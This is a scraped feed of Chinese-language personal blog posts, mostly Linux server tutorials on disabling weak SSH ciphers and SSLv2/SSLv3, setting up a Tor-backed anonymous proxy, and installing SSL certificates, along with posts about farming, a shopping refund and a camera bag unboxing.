href=\"/agriculture/extract-groundwater-and-irrigate-farmland-sigang-tainan-20170311/\"\u003e抽地下水灌溉\u003c/a\u003e、\u003ca href=\"/agriculture/sesame-sowing-sigang-tainan-20170319/\"\u003e翻土並播種黑芝麻\u003c/a\u003e之後，接下來就是等待黑芝麻發芽與成長，以下是整個黑芝麻的成長過程紀錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e由於我今年是有空回到西港時才順便過去芝麻田拍攝，所以間隔時間不太固定，不過還是可以大約看出整個成長過程。\u003c/p\u003e","title":"[台南西港] 黑芝麻成長紀錄，2017 年春季"},{"content":"這裡敘述如何將 SSH 伺服器的 arcfour cipher 停用，提升系統安全性。\n根據 RFC4345 的說明，arcfour（又稱為 RC4）這個 cipher 的安全性比較弱，所以比較講究的 SSH 伺服器會將 arcfour 停用，以下是設定步驟。\nStep 1\n修改 /etc/ssh/sshd_config，設定 Ciphers：\n# 排除 arcfour Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc Step 2\n設定好之後，先測試一下 SSH 伺服器的設定檔有沒有寫錯，萬一不小心把 SSH 設定檔寫錯，可能會造成伺服器藍不上去的麻煩。\nsudo sshd -t 若沒有錯誤訊息，就代表設定檔沒有什麼問題。\nStep 3\n接著重新啟動 SSH 伺服器：\nsudo service ssh restart Step 4\n然後測試是否可以使用 arcfour 這個 cipher：\nssh -c arcfour seal@blog.gtwang.org 正常的話，應該會出現這樣的錯誤：\nUnable to negotiate with 45.118.135.69 port 22: no matching cipher found. Their offer: aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc 關於 Ciphers 的詳細設定說明，可以參考 sshd_config 的線上手冊：\nman 5 sshd_config 參考資料 StackExchange ","permalink":"https://blog.gtwang.org/linux/sshd-disable-arcfour-cipher-tutorial/","summary":"\u003cp\u003e這裡敘述如何將 SSH 伺服器的 arcfour cipher 停用，提升系統安全性。\u003c/p\u003e\n\u003cp\u003e根據 \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc4345\"\u003eRFC4345\u003c/a\u003e 的說明，arcfour（又稱為 \u003ca href=\"https://en.wikipedia.org/wiki/RC4\"\u003eRC4\u003c/a\u003e）這個 cipher 的安全性比較弱，所以比較講究的 SSH 伺服器會將 arcfour 停用，以下是設定步驟。\u003c/p\u003e","title":"SSH 伺服器停用不安全的 Arcfour Cipher"},{"content":"這裡介紹如何停用各種 HTTPS 網頁伺服器的 SSLv2 與 SSLv3 加密協定。\n由於 SSLv2 存在 DROWN（Decrypting RSA with Obsolete and Weakened eNcryption，CVE-2016-0800）安全性漏洞，而 SSLv3 也有 POODLE（Padding Oracle On Downgraded Legacy Encryption，CVE-2014-3566）的漏洞，所以目前若要架設 HTTPS 安全加密的網頁伺服器，最好把 SSLv2 與 SSLv3 都停用。\n檢查 HTTPS 伺服器加密協定版本 要檢查 HTTPS 伺服器加密協定版本，可以使用 openssl 或是 nmap 指令。\n使用 openssl 檢測 使用 openssl 測試網頁伺服器是否支援 SSLv2 加密協定：\n# 測試伺服器是否支援 SSLv2 加密協定 openssl s_client -connect blog.gtwang.org:443 -ssl2 如果伺服器有關閉 SSLv2 加密協定的話，就會出現類似這樣的錯誤訊息：\nCONNECTED(00000003) 140062201157536:error:1407F0E5:SSL routines:SSL2_WRITE:ssl handshake failure:s2_pkt.c:429: [略] 或是\nCONNECTED(00000003) write:errno=104 這樣就代表伺服器有關閉不安全的 SSLv2 協定。\n測試伺服器是否支援 SSLv3 加密協定：\n# 測試伺服器是否支援 SSLv3 加密協定 openssl s_client -connect blog.gtwang.org:443 -ssl3 若伺服器有關閉 SSLv3 協定的話，錯誤訊息會類似這樣：\nCONNECTED(00000003) 140010726107040:error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure:s3_pkt.c:1275:SSL alert number 40 140010726107040:error:1409E0E5:SSL routines:SSL3_WRITE_BYTES:ssl handshake failure:s3_pkt.c:598: [略] 使用 nmap 檢測 使用 nmap 的 ssl-enum-ciphers 指令稿也可以列出網頁伺服器支援的加密協定版本，它的輸出訊息會比 openssl 更好閱讀，也更詳細：\n# 列出伺服器支援的加密協定版本 nmap --script ssl-enum-ciphers -p 443 blog.gtwang.org Starting Nmap 6.40 ( http://nmap.org ) at 2017-04-28 09:18 CST Nmap scan report for blog.gtwang.org (45.118.135.69) Host is up (0.056s latency). rDNS record for 45.118.135.69: li1442-69.members.linode.com PORT STATE SERVICE 443/tcp open https | ssl-enum-ciphers: | SSLv3: No supported ciphers found | TLSv1.0: | ciphers: | TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong | TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_RSA_WITH_AES_128_CBC_SHA - strong | TLS_RSA_WITH_AES_256_CBC_SHA - strong | compressors: | NULL | TLSv1.1: | ciphers: | TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong | TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_RSA_WITH_AES_128_CBC_SHA - strong | TLS_RSA_WITH_AES_256_CBC_SHA - strong | compressors: | NULL | TLSv1.2: | ciphers: | TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - strong | TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - strong | TLS_DHE_RSA_WITH_AES_256_CBC_SHA - strong | TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - strong | TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - strong | TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - strong | TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - strong | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - strong | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - strong | TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - strong | TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong | TLS_RSA_WITH_AES_128_CBC_SHA - strong | TLS_RSA_WITH_AES_128_CBC_SHA256 - strong | TLS_RSA_WITH_AES_128_GCM_SHA256 - strong | TLS_RSA_WITH_AES_256_CBC_SHA - strong | TLS_RSA_WITH_AES_256_CBC_SHA256 - strong | TLS_RSA_WITH_AES_256_GCM_SHA384 - strong | compressors: | NULL |_ least strength: strong Nmap done: 1 IP address (1 host up) scanned in 4.20 seconds 如果不指定連接埠，nmap 就會把所有的連接埠都掃一遍：\n# 列出伺服器支援的加密協定版本 nmap --script ssl-enum-ciphers blog.gtwang.org 關閉 SSLv2 與 SSLv3 加密協定 以下整理各種 HTTPS 網頁伺服器關閉 SSLv2 與 SSLv3 的設定方式。\nApache 伺服器 Step 1\n找出所有牽涉到 SSL 加密的 Apache 設定檔。\ngrep -r SSLEngine /etc/httpd/* Step 2\n修改每個牽涉到 SSL 加密的 Apache 設定檔，在 SSLProtocol 的設定中加入 -SSLv2 與 -SSLv3：\nSSLProtocol all -SSLv2 -SSLv3 Step 3\n重新啟動 Apache 伺服器。CentOS Linux 可執行：\nsudo service httpd restart Ubuntu Linux 則執行：\nsudo service apache2 restart Nginx 伺服器 Step 1\n在 Nginx 的設定檔中加入 ssl_protocols 的設定：\nssl_protocols TLSv1 TLSv1.1 TLSv1.2; Step 2\n重新啟動 Nginx 伺服器：\nsudo service nginx restart Lighttpd 伺服器 Step 1\n在 Lighttpd 的設定檔中加入以下設定：\nssl.use-sslv2 = \u0026#34;disable\u0026#34; ssl.use-sslv3 = \u0026#34;disable\u0026#34; Step 2\n重新啟動 Lighttpd 伺服器：\nsudo service lighttpd restart Tomcat 伺服器 Step 1\n修改 server.xml 設定檔，加入 sslEnabledProtocols 指定 SSL 版本：\n\u0026lt;Connector port=\u0026#34;8443\u0026#34; protocol=\u0026#34;org.apache.coyote.http11.Http11Protocol\u0026#34; maxThreads=\u0026#34;150\u0026#34; SSLEnabled=\u0026#34;true\u0026#34; scheme=\u0026#34;https\u0026#34; secure=\u0026#34;true\u0026#34; clientAuth=\u0026#34;false\u0026#34; sslEnabledProtocols = \u0026#34;TLSv1,TLSv1.1,TLSv1.2\u0026#34; /\u0026gt; Step 2\n重新啟動 Tomcat 伺服器：\nsudo /tomcat_path/bin/shutdown.sh sudo /tomcat_path/bin/startup.sh IIS 伺服器 Step 1\n建立一個 disable_ssl3.reg 檔：\nWindows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\Protocols\\SSL 3.\\Server] \u0026#34;Enabled\u0026#34;=dword:00000000 [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\Protocols\\SSL 2.\\Server] \u0026#34;Enabled\u0026#34;=dword:00000000 Step 2\n用滑鼠點兩下 disable_ssl3.reg 檔，執行之。\n參考資料 aip.im StackExchange KINAMO StackOverflow redhat ","permalink":"https://blog.gtwang.org/linux/apache-https-disable-sslv2-and-sslv3/","summary":"\u003cp\u003e這裡介紹如何停用各種 HTTPS 網頁伺服器的 SSLv2 與 SSLv3 加密協定。\u003c/p\u003e\n\u003cp\u003e由於 SSLv2 存在 DROWN（Decrypting RSA with Obsolete and Weakened eNcryption，\u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2016-0800\"\u003eCVE-2016-0800\u003c/a\u003e）安全性漏洞，而 SSLv3 也有 POODLE（Padding Oracle On Downgraded Legacy Encryption，\u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2014-3566\"\u003eCVE-2014-3566\u003c/a\u003e）的漏洞，所以目前若要架設 HTTPS 安全加密的網頁伺服器，最好把 SSLv2 與 SSLv3 都停用。\u003c/p\u003e","title":"HTTPS 網頁伺服器停用不安全的 SSLv2 與 SSLv3 加密協定"},{"content":"這裡示範在 Ubuntu Linux 中安裝與整合 Squid、Privoxy 與 Tor，架設一個匿名的網頁代理伺服器。\nSquid 是一套很普遍被使用的代理伺服器（proxy server），若想要讓 Squid 提供匿名上網的功能，可以在後端接上 Privoxy 與 Tor，透過洋蔥路由達到匿名上網的功能，以下是在一台 Ubuntu Linux 中安裝與整合 Squid、Privoxy 與 Tor 的步驟。\n這是系統的架構圖：\n安裝 Tor 與 Privoxy 伺服器 請參考使用 Tor 與 Privoxy 架設匿名網頁代理伺服器的說明，將 Tor 與 Privoxy 伺服器架設起來，然後調整一下伺服器的設定，方便介接 Squid。\nTor 設定 Tor 一樣是使用預設的設定，所以不用特別更動，只要確認 Tor 服務有正常啟動即可。\nservice tor status Privoxy 設定 設定與 Tor 整合的部分，讓所有的對外連線導向至 Tor 的連接埠，預設是本機的 9050：\n# 對外透過 Tor 連線 forward-socks5t / 127.0.0.1:9050 . 傾聽的連接埠只需要開一個本機連接埠就夠了（保持預設狀態）：\n# 僅允許來自於本機的連線 listen-address 127.0.0.1:8118 設定好之後，重新啟動 Privoxy：\nsudo service privoxy restart 安裝 Squid 使用 apt 安裝 Squid 伺服器：\nsudo apt-get install squid 編輯 /etc/squid3/squid.conf 設定檔，調整一些設定。首先隱藏 Squid 的版本資訊：\n# 在 HTTP 表頭與錯誤訊息頁面中隱藏 Squid 版本資訊 httpd_suppress_version_string on 刪除 X-Forwarded-For 這一個 HTTP 表頭欄位，讓使用者的 IP 位址不要暴露出去：\n# 讓 HTTP 表頭的 X-Forwarded-For 不要顯示使用者的 IP 位址 forwarded_for delete 讓 FTP 的連線不要透過 Privoxy 與 Tor：\n# 讓 FTP 直接連線 always_direct allow ftp 一般的連線全部都透過 Privoxy 與 Tor 匿名上網：\n# 一般連線皆透過 Privoxy 與 Tor 上網 never_direct allow all 透過 cache_peer 連接至本機的 Privoxy：\n# 連接至 Privoxy cache_peer 127.0.0.1 parent 8118 7 no-query no-digest 設定允許使用 Squid 伺服器的的使用者來源：\n# 設定允許的使用者來源 #http_access allow localhost #http_access deny all http_access allow all 測試 在瀏覽器中將代理伺服器設定為這裡的 Squid 伺服器。\n開啟 Tor 的檢測網頁，測試看看瀏覽器是否真的有使用 Tor 上網：\n參考資料 squid-cache wiki HowtoForge ","permalink":"https://blog.gtwang.org/linux/squid-privoxy-tor-build-anonymous-http-proxy/","summary":"\u003cp\u003e這裡示範在 Ubuntu Linux 中安裝與整合 Squid、Privoxy 與 Tor，架設一個匿名的網頁代理伺服器。\u003c/p\u003e\n\u003cp\u003eSquid 是一套很普遍被使用的代理伺服器（proxy server），若想要讓 Squid 提供匿名上網的功能，可以在後端接上 Privoxy 與 Tor，透過洋蔥路由達到匿名上網的功能，以下是在一台 Ubuntu Linux 中安裝與整合 Squid、Privoxy 與 Tor 的步驟。\u003c/p\u003e","title":"Squid 整合 Privoxy 與 Tor 架設匿名代理伺服器教學"},{"content":"這裡我們示範如何使用 Tor 洋蔥路由器與 Privoxy 架設匿名網頁代理伺服器，讓電腦上網時隱藏自己的 IP 資訊。\n我們之前介紹過用樹莓派架設 Tor 匿名洋蔥網路代理伺服器，讓區域網路內的電腦匿名上網，而這裡我們將使用 Tor 與 Privoxy 架設一個獨立的網頁代理伺服器，讓任何地點的電腦都可以匿名上網，不會受到地域限制。\nTor 與 Privoxy 的架構比較適合個人使用，若要多人使用的話，可以考慮 Squid 整合 Privoxy 與 Tor 的架構。如果是使用 CentOS Linux 的人，可以參考 CentOS Linux 安裝 Tor 與 Privoxy 的教學。\n安裝 Tor 使用 apt 安裝 tor 套件：\nsudo apt-get install tor 安裝後 Tor 系統的服務應該會自動啟用，檢查 Tor 服務是否正常：\nservice tor status 這裡我們是將 Tor 與 Privoxy 安裝在同一台電腦上，這種狀況下 Tor 的設定不需要改，使用預設值即可。\n安裝 Privoxy sudo apt-get install privoxy 修改 /etc/privoxy/config 設定檔，將整合 Tor 與 Privoxy 這一行設定的註解拿掉：\n# To chain Privoxy and Tor, both running on the same system, you # would use something like: forward-socks5t / 127.0.0.1:9050 . 將這個整合 Tor 與 Privoxy 的設定啟用之後，本機的瀏覽器即可使用 localhost:8118 這個代理伺服器進行匿名上網。\n若要讓使用者透過 Privoxy 與 Tor 上網時，也可以正常連線至區域網路中的網頁伺服器，就要把這三行的註解一併拿掉，讓這幾個網段的連線不要經過 Tor 洋蔥路由器：\nforward 192.168.*.*/ . forward 10.*.*.*/ . forward 127.*.*.*/ . Privoxy 的服務預設只有開在本機的 loopback IP 位址，也就是說只有本機的瀏覽器才能使用：\nlisten-address 127.0.0.1:8118 listen-address [::1]:8118 若要開放外部的電腦使用，就要修改 listen-address 的設定，例如若想要將 Privoxy 的服務開在所有網路介面的 8118 連接埠，可以這樣寫：\nlisten-address :8118 更改設定之後，要重新啟動 Privoxy 服務，讓新設定生效：\nsudo service privoxy restart 設定好 Privoxy 之後，就可以將瀏覽器的代理伺服器指定為 Privoxy 的位址：\n設定好瀏覽器的代理伺服器之後，可以開啟 Tor 的檢測網頁，測試看看瀏覽器是否真的有使用 Tor 上網：\n限制連線 IP 位址 在 Privoxy 的設定檔中，我們可以透過 permit-access 與 deny-access 來限制連線的 IP 位址，permit-access 是設定允許的 IP 位址，而 deny-access 則是設定禁止的 IP 位址，若沒有符合任何一個條件時，則預設的情況是禁止。\npermit-access 與 deny-access 的語法為：\npermit-access 來源IP[:連接埠][/網路遮罩] [目的IP[:連接埠][/網路遮罩]] deny-access 來源IP[:連接埠][/網路遮罩] [目的IP[:連接埠][/網路遮罩]] 以下是一些使用範例。\n僅允許來自於本機的連線，目的 IP 沒有指定的話就代表沒有限制，只要是來自於本機的連線，要連到哪裡都可以：\npermit-access localhost 這一行設定是讓 www.privoxy.org 所在的 Class C 網段都可以連線至 www.example.com：\npermit-access www.privoxy.org/24 www.example.com/32 這兩行是讓 192.168.45.64/26 可以上網，但是 192.168.45.73 不可以連到 www.dirty-stuff.com：\npermit-access 192.168.45.64/26 deny-access 192.168.45.73 www.dirty-stuff.com 參考資料 Marcus Povey Privoxy Jessie Frazelle\u0026rsquo;s Blog Linux M0nk3ys vanimpe.eu ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-use-tor-and-privoxy-to-build-anonymous-http-proxy/","summary":"\u003cp\u003e這裡我們示範如何使用 Tor 洋蔥路由器與 Privoxy 架設匿名網頁代理伺服器，讓電腦上網時隱藏自己的 IP 資訊。\u003c/p\u003e\n\u003cp\u003e我們之前介紹過\u003ca href=\"/iot/raspberry-pi-tor-router-onion-pi-proxy/\"\u003e用樹莓派架設 Tor 匿名洋蔥網路代理伺服器\u003c/a\u003e，讓區域網路內的電腦匿名上網，而這裡我們將使用 Tor 與 Privoxy 架設一個獨立的網頁代理伺服器，讓任何地點的電腦都可以匿名上網，不會受到地域限制。\u003c/p\u003e","title":"Ubuntu Linux 使用 Tor 與 Privoxy 架設匿名網頁代理伺服器"},{"content":"本篇介紹如何使用 Tomcat 開發 WebSocket 伺服器，並設定 SSL 安全加密的 Apache Proxy 連線。\nWebSocket 的伺服器可以使用各種程式語言來撰寫，在 Apache 與 Tomcat 的整合架構下，可以直接用 Java 撰寫一個 WebSocket 伺服器，放在 Tomcat 中直接運行，這樣就不需要另外安裝太多的東西，以下是完整的開發與架設流程。\n基本架構 這裡我使用 Java 開發 WebSocket 伺服器，佈署在後端的 Tomcat 應用伺服器上，前端放置 Apache 網頁伺服器，透過 Proxy 的方式將 WebSocket 導向後端，全程都使用 SSL 加密的連線。\n在進行 WebSocket 伺服器的開發之前，要先架設好 Apache 與 Tomcat 的整合架構，並且完成網頁伺服器的 SSL 憑證設定，讓 Apache 與 Tomcat 都可以正常提供 HTTPS 安全加密的連線。\nJava 實作 WebSocket 伺服器 依照 Apache 官方的 mod_proxy_wstunnel 模組說明文件，加入 WebSocket 的 Proxy 設定：\nProxyPass \u0026#34;/ws\u0026#34; \u0026#34;ws://localhost:8080/ws\u0026#34; ProxyPass \u0026#34;/wss\u0026#34; \u0026#34;wss://localhost:8443/wss\u0026#34; 一般未加密的 WebSocket 應該這樣就可以使用了。\n若是使用 Apache 的 nss 模組來處理加密的連線時，可能會遇到的問題是沒有啟用 SSL Proxy 功能，產生 500 的錯誤碼，在 Apache 的紀錄檔中出現這樣的錯誤訊息：\n[Mon Apr 17 09:35:25.466218 2017] [:error] [pid 17747] SSL Proxy requested for host.nxhx.org.tw but not enabled [Hint: NSSProxyEngine] [Mon Apr 17 09:35:25.466258 2017] [proxy:error] [pid 17747] AH00961: WSS: failed to enable ssl support for [::1]:8443 (localhost) 這個問題一直解決不了，後來直接把 mod_nss 停掉，改用 mod_ssl 模組，在處理 wss 加密的 WebSocket 之前，啟用 SSLProxyEngine：\n\u0026lt;VirtualHost _default_:443\u0026gt; # ... ProxyRequests Off SSLProxyEngine On \u0026lt;Location \u0026#34;/wss\u0026#34;\u0026gt; ProxyPass wss://localhost:8443/wss \u0026lt;/Location\u0026gt; # ... \u0026lt;/VirtualHost\u0026gt; 參考資料 StackOverflow Apache mod_ssl 官方文件 StackOverflow StackOverflow Tomcat 官方文件 ","permalink":"https://blog.gtwang.org/linux/apache-proxy-ssl-websocket-proxy-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 Tomcat 開發 WebSocket 伺服器，並設定 SSL 安全加密的 Apache Proxy 連線。\u003c/p\u003e\n\u003cp\u003eWebSocket 的伺服器可以使用各種程式語言來撰寫，在 Apache 與 Tomcat 的整合架構下，可以直接用 Java 撰寫一個 WebSocket 伺服器，放在 Tomcat 中直接運行，這樣就不需要另外安裝太多的東西，以下是完整的開發與架設流程。\u003c/p\u003e","title":"Apache 與 Tomcat 開發架設 SSL 安全加密 WebSocket 伺服器教學"},{"content":"本篇是我個人的工作記錄，所以寫得比較簡略，放在這裡給有需要的人參考用。\n正式的網頁伺服器所需要的 SSL 憑證是要經過上層機構簽發的，所以在安裝上跟一般自己簽發的憑證不同，以下是我在安裝 COMODO 所簽發憑證時的工作記錄。\n準備憑證 查看自己的憑證：\nopenssl x509 -in my_ssl_key.pem -text 下載上層的憑證：\nCOMODORSAOrganizationValidationSecureServerCA.crt COMODORSAAddTrustCA.crt AddTrustExternalCARoot.crt 製作 CA Bundle：\ncat comodorsaorganizationvalidationsecureserverca.crt \\ comodorsaaddtrustca.crt \\ addtrustexternalcaroot.crt \\ \u0026gt; ca-bundle.crt 將所有憑證合併成一張：\ncat my_ssl_key.pem ca-bundle.crt \u0026gt; chain.pem 轉換為 PKCS 12 格式：\nopenssl pkcs12 -export -in chain.pem -out chain.pfx Tomcat 8 將憑證放置在適當的位置：\nsudo cp chain.pfx /usr/share/tomcat8/conf/ 在 server.xml 設定檔中加入以下設定：\n\u0026lt;!-- Define a SSL Coyote HTTP/1.1 Connector on port 8443 --\u0026gt; \u0026lt;Connector protocol=\u0026#34;org.apache.coyote.http11.Http11NioProtocol\u0026#34; port=\u0026#34;8443\u0026#34; maxThreads=\u0026#34;200\u0026#34; scheme=\u0026#34;https\u0026#34; secure=\u0026#34;true\u0026#34; SSLEnabled=\u0026#34;true\u0026#34; keystoreFile=\u0026#34;/usr/share/tomcat8/conf/chain.pfx\u0026#34; keystorePass=\u0026#34;your_password\u0026#34; keystoreType=\u0026#34;PKCS12\u0026#34; clientAuth=\u0026#34;false\u0026#34; sslProtocol=\u0026#34;TLS\u0026#34;/\u0026gt; 重新啟動 Tomcat 服務：\ncatalina.sh stop catalina.sh start 測試新的憑證：\nopenssl s_client -connect host.nxhx.org.tw:8443 openssl s_client -connect host.nxhx.org.tw:8443 | openssl x509 -noout -subject -issuer 正常的話，Verify return code 會回傳 0：\n[略] SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-RSA-AES256-GCM-SHA384 Session-ID: 58F417F4F85229F489AEB2984AD494E8E956F81FDAB64B3974283B5F368093DD Session-ID-ctx: Master-Key: A169A0F8EA998618A590B2EF8C297D87CFD677B7F4110680ACF756DBD2E3F8FB6B16A99E2F75F250E8D4CEE136BB0B4C Key-Arg : None Krb5 Principal: None PSK identity: None PSK identity hint: None Start Time: 1492391924 Timeout : 300 (sec) Verify return code: 0 (ok) Apache 伺服器 mod_ssl 建立放置 SSL 憑證的目錄：\nsudo mkdir /etc/httpd/ssl 將自己伺服器的 server.crt、server.key 與 chain.crt 放在這裡，接著設定 mod_ssl：\nSSLEngine on SSLCertificateFile /etc/httpd/ssl/server.crt SSLCertificateKeyFile /etc/httpd/ssl/server.key SSLCACertificateFile /etc/httpd/ssl/ca-bundle.crt mod_nss 匯入憑證：\npk12util -i chain.pfx -d /etc/httpd/alias/ Enter password for PKCS12 file: pk12util: no nickname for cert in PKCS12 file. pk12util: using nickname: *.nxhx.org.tw - COMODO CA Limited pk12util: PKCS12 IMPORT SUCCESSFUL # add this line in /etc/httpd/conf.d/nss.conf NSSNickname \u0026#34;*.nxhx.org.tw - COMODO CA Limited\u0026#34; 重新啟動 Apache：\nsystemctl restart httpd.service Nginx 參考 Nginx 官方文件，修改設定檔：\nserver { # ... ssl_certificate \u0026#34;/etc/nginx/ssl/chain.crt\u0026#34;; ssl_certificate_key \u0026#34;/etc/nginx/ssl/server.key\u0026#34;; # ... } 測試工具 網站設定好之後，可以使用 COMODO SSL Analyzer 這個外部工具檢測。\n參考資料 SSLShopper 寫程式是良心事業 nixCraft redhat GitHub Tsung\u0026rsquo;s Blog ","permalink":"https://blog.gtwang.org/linux/nginx-apache-tomcat-comodo-ssl-certificate-installation/","summary":"\u003cp\u003e本篇是我個人的工作記錄，所以寫得比較簡略，放在這裡給有需要的人參考用。\u003c/p\u003e\n\u003cp\u003e正式的網頁伺服器所需要的 SSL 憑證是要經過上層機構簽發的，所以在安裝上跟一般自己簽發的憑證不同，以下是我在安裝 COMODO 所簽發憑證時的工作記錄。\u003c/p\u003e","title":"Apache、Tomcat 的 HTTPS 加密網頁伺服器匯入正式 SSL 憑證步驟教學"},{"content":"本篇是我在 Yahoo 奇摩購物中心請求客服將降價商品的差額退回的紀錄。\n我最近在 Yahoo 奇摩購物中心購買了一個 ThinkTank Mirrorless Mover 20 相機包，那時候下訂時的價格是 1920 元。\n幾天之後馬上看到網站上的價格調降為 1690 元，整整差了 230 元。\n因為我個相機包收到才過三天，還在十天的鑑賞期之內，是可以直接退貨的，所以我就在 Yahoo 的問答中心上面詢問客服，看看是否可以直接退差價給我，結果客服馬上就回信，表示可以用匯款的方式退差價，真是太棒了，這是客服人員的回信內容。\n只要提供匯款的帳號，客服就會在十天鑑賞期之後將差價退回，老實說這樣以後我會更有意願在 Yahoo 上買東西。 🙂\n","permalink":"https://blog.gtwang.org/life/yahoo-shopping-refund-overpaid-201704/","summary":"\u003cp\u003e本篇是我在 Yahoo 奇摩購物中心請求客服將降價商品的差額退回的紀錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e我最近在 Yahoo 奇摩購物中心購買了一個 \u003ca href=\"/unboxing/thinktank-mirrorless-mover-20-red-bag-mm660/\"\u003eThinkTank Mirrorless Mover 20 相機包\u003c/a\u003e，那時候下訂時的價格是 1920 元。\u003c/p\u003e","title":"Yahoo 奇摩購物中心購買後降價，鑑賞期內退差價"},{"content":"本篇是 ThinkTank Mirrorless Mover 20 微單眼相機包的簡單開箱紀錄。\n最近買了一台 Olympus OM-D E-M5 Mark II 微單眼相機，而之前的 WINER M03 相機側背包若要裝 E-M5 這台相機，要把所有的隔板都拆掉才能放得下去，所以又買了這一個稍微大一點的 ThinkTank Mirrorless Mover 20 相機包，以下是開箱紀錄。\nThinkTank Mirrorless Mover 20 有好幾種顏色，上網查了之後，發現這一個相機包的黑色款在某個網站有特價，便宜兩百多塊，不過我比較喜歡紅色的，雖然沒特價，但是還是買了，價格是 1920 元。\n打開外箱。\n這是附贈的 Think Tank 電池包。\n再打開內箱。\n這就是 ThinkTank Mirrorless Mover 20 微單眼相機包。\n打開塑膠袋。\n這是相機包的背面。\n這是相機包的側面。\n這是相機包的另外一側。\n這個相機包比較特別的是上面有使用磁鐵，可以很方便的黏住。\n這樣在拍照時，可以比較方的便拿東西。\n這是前方置物袋。\n這個相機包的拉鍊都是使用 YKK 的拉鍊。\n前方置物袋中可以放一些小東西，裡面還有一個相機包的防雨套。\n這是相機包內部最主要的隔層。\n這一條是相機包的背帶，這條背帶感覺比較細，寬度只有 2.5 公分。\n有一個內部的夾層隔板同時也可以放置手機以及記憶卡。\n這是內部上方的置物袋。\n這是包上防雨套的樣子。\n這是我把其中一個隔板拆掉之後，放入 Olympus OM-D E-M5 Mark II 接 Olympus 12-40mm F2.8 Pro 鏡頭的樣子，因為這顆鏡頭比較長，所以只能這樣放，如果是比較小一點的鏡頭，是可以放到一機三鏡。\n在我收到這個相機包之後，發現網站上的價格降為 1690 元，而透過客服人員退還了差價，所以最後只花了 1690 元就買到這個相機包。\n","permalink":"https://blog.gtwang.org/unboxing/thinktank-mirrorless-mover-20-red-bag-mm660/","summary":"\u003cp\u003e本篇是 ThinkTank Mirrorless Mover 20 微單眼相機包的簡單開箱紀錄。\u003c/p\u003e\n\u003cp\u003e最近買了一台 \u003ca href=\"/unboxing/olympus-omd-e-m5-mark-ii-evil-camera-unboxing/\"\u003eOlympus OM-D E-M5 Mark II 微單眼相機\u003c/a\u003e，而之前的 \u003ca href=\"/unboxing/winer-vita-m03-camera-bag/\"\u003eWINER M03 相機側背包\u003c/a\u003e若要裝 E-M5 這台相機，要把所有的隔板都拆掉才能放得下去，所以又買了這一個稍微大一點的 ThinkTank Mirrorless Mover 20 相機包，以下是開箱紀錄。\u003c/p\u003e","title":"[開箱] ThinkTank Mirrorless Mover 20 微單眼相機包，深紅色款 MM660"},{"content":"這裡記錄自己剪裁小米 Max 手機保護貼，製作 Olympus E-M5 Mark II 相機螢幕保護貼的過程。\n之前的 Olympus E-PL6 因為不想要買保護貼，所以自己用手機保護貼剪成相機螢幕的大小，用了將近兩年都沒什麼問題，所以這次買了 Olympus E-M5 Mark II，也用同樣的方法把之前小米 Max 手機剩下的保護貼剪成相機用的大小。\nStep 1\n找出之前剩下的小米 Max 手機保護貼。\nStep 